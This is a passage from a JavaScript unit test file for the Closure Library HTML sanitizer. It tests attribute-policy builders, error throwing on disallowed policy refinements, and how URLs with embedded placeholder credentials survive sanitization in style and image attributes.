  1241. function testOnlyAllowAttributePolicyPipe2() {
  1242. var input = '<a target="hello">b</a>';
  1243. var expected = '<a>b</a>';
  1244. assertSanitizedHtml(
  1245. input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
  1246. .onlyAllowAttributes([{
  1247. tagName: 'a',
  1248. attributeName: 'target',
  1249. policy: function(value, hints) {
  1250. assertEquals(hints.attributeName, 'target');
  1251. return 'nope';
  1252. }
  1253. }])
  1254. .build());
  1255. }
  1256. function testOnlyAllowAttributeSpecificPolicyThrows() {
  1257. assertThrows(function() {
  1258. new goog.html.sanitizer.HtmlSanitizer.Builder().onlyAllowAttributes([
  1259. {tagName: 'img', attributeName: 'src', policy: goog.functions.identity}
  1260. ]);
  1261. });
  1262. }
  1263. function testOnlyAllowAttributeGenericPolicyThrows() {
  1264. assertThrows(function() {
  1265. new goog.html.sanitizer.HtmlSanitizer.Builder().onlyAllowAttributes([{
  1266. tagName: '*',
  1267. attributeName: 'target',
  1268. policy: goog.functions.identity
  1269. }]);
  1270. });
  1271. }
  1272. function testOnlyAllowAttributeRefineThrows() {
  1273. var builder =
  1274. new goog.html.sanitizer.HtmlSanitizer.Builder()
  1275. .onlyAllowAttributes(
  1276. ['aria-checked', {tagName: 'LINK', attributeName: 'HREF'}])
  1277. .onlyAllowAttributes(['aria-checked']);
  1278. assertThrows(function() {
  1279. builder.onlyAllowAttributes(['alt']);
  1280. });
  1281. }
  1282. function testUrlWithCredentials() {
  1283. if (isIE8() || isIE9()) {
  1284. return;
  1285. }
  1286. // IE has trouble getting and setting URL attributes with credentials. Both
  1287. // HTMLSanitizer and assertHtmlMatches are affected by the bug, hence the use
  1288. // of plain string matching.
  1289. var url = 'http://foo:bar@example.com';
  1290. var input = '<div style="background-image: url(\'' + url + '\');">' +
  1291. '<img src="' + url + '" /></div>';
  1292. var expectedIE = '<div style="background-image: url(&quot;' + url +
  1293. '&quot;);"><img src="' + url + '" /></div>';
  1294. var sanitizer =
  1295. new goog.html.sanitizer.HtmlSanitizer.Builder()
  1296. .withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
  1297. .allowCssStyles()
  1298. .build();
  1299. if (goog.userAgent.EDGE_OR_IE) {
  1300. assertEquals(
  1301. expectedIE, goog.html.SafeHtml.unwrap(sanitizer.sanitize(input)));
  1302. } else {
  1303. assertSanitizedHtml(input, input, sanitizer);
  1304. }
  1305. }